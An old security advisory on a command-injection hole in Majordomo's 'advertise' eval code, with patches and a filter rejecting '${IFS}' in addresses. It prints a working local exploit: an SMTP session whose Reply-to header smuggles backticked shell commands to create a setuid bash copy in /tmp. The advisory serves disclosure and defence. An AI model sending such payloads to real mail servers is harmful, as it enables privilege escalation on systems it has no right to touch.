COMMAND
majordomo
SYSTEMS AFFECTED
Systems running majordomo
PROBLEM
Razvan Dragomirescu hs discovered a vulnerablility in "majordomo"
that allows local and remote users to execute commands with the
rights of the user running the server. This user is usually in
the daemon group, so this can be quite harmful.
Still, there is a condition for the exploit to work. The server
should have at least one list that uses the "advertise" or
"noadvertise" directives in the configuration files. These
directives indicate if the list should (or should not) be included
in a reply to a "LISTS" command depending on the address the
request came from. The exploit also works if the server has one
or more "hidden" lists (see the Majordomo documentation for
details). Here's a piece of the configuration file:
-- lrazvan.config --
# advertise [regexp_array] (undef) <majordomo>
# If the requestor email address matches one of these regexps, then
# the list will be listed in the output of a lists command. Failure
# to match any regexp excludes the list from the output. The
# regexps under noadvertise override these regexps.
advertise << END
/.*/
END
-- end lrazvan.config --
The one above tells majordomo to include this list in any "LISTS"
request. The problem is that when the server finds a list that
has one of these attributes ("advertise" or "noadvertise"), it
will try to match the reply-to address against these patterns. It
uses an "eval" command to do this.
Let's take a look at the PERL source (the do_lists procedure):
-- majordomo --
foreach $i (@array) {
$command = "(q~$reply_addr~ =~ $i)";
$result = 1, last if (eval $command);
}
-- end majordomo --
$reply_addr is the result of some paranoid validation. It cannot
contain <,>,[,],-,+,(,),; etc.. But with a few tricks, this won't
be a problem.
Now, for the exploits. There a two of them, one for the local
users who just want a setuid shell (with the rights of the server
owner, usually majordomo.daemon), and one for the remote users who
might want to copy some files or execute commands remotely (the
old "mail foo@foo.net < /etc/passwd" won't work, it contains '<'.
Local exploit:
--exploit--
telnet localhost 25
helo localhost
mail from: user
rcpt to: majordomo (or whatever the name of the majordomo user is)
data
From: user
To: majordomo
Reply-to: a~.`/bin/cp\${IFS}/bin/bash\${IFS}/tmp/lord&&/bin/chmod\${IFS}4777\${IFS}/tmp/lord`.q~a/ad=cucu/c=blu\\\@kappa.ro
LISTS
SOLUTION
Majordomo 1.94.4 should fix that. This has the advertise eval and
wrapper security patch, everything that was in the patch archive,
plus a few other snippets. It is placed in the usual places:
ftp://ftp.greatcircle.com/pub/majordomo/majordomo.tgz
ftp://ftp-europe.sgi.com/other/majordomo/majordomo.tgz
ftp://ftp.sgi.com/other/majordomo/majordomo.tgz
Patches can be found in the 1.94.4 subdirectory. Also, below
should fix described vulnerability:
--- majordomo-pre-list-fix Tue Aug 26 14:11:07 1997
+++ majordomo Tue Aug 26 15:06:52 1997
@@ -1374,7 +1374,7 @@
if ($'config_opts{$list, 'advertise'} ne '') {
@array = split(/\001/,$'config_opts{$list,
'advertise'});
foreach $i (@array) {
- $command = "(q~$reply_addr~ =~ $i)";
+ $command = '($reply_addr'." =~ $i)";
$result = 1, last if (eval $command);
}
} else { $result = 1; }
@@ -1384,7 +1384,7 @@
@array = split(/\001/,$'config_opts{$list,
'noadvertise'});
foreach $i (@array) {
- $command = "(q~$reply_addr~ =~ $i)";
+ $command = '($reply_addr'." =~ $i)";
$result = 0, last if (eval $command);
}
}
Here's a quicky to slap a condom on this problem until a more
permanent cure is forth coming... This is against 1.93.3 and has
been tested against a hostile message.
==================================================================
--- majordomo.pl.old Tue Aug 26 18:29:31 1997
+++ majordomo.pl Tue Aug 26 18:28:58 1997
@@ -652,6 +652,10 @@
&main'abort("HOSTILE ADDRESS (no x400 a[dm]=) $addr")
if ($_ !~ m#/a[dm]=#); #'
}
+ &main'abort("HOSTILE ADDRESS (IFS in x400) $addr")
+ if ($_ =~ m#\$\{IFS#); #'
+ &main'abort("HOSTILE ADDRESS (IFS in x400) $addr")
+ if ($_ =~ m#\$IFS#); #'
}
print STDERR "$0: valid_addr: exit\n" if $DEBUG;
==================================================================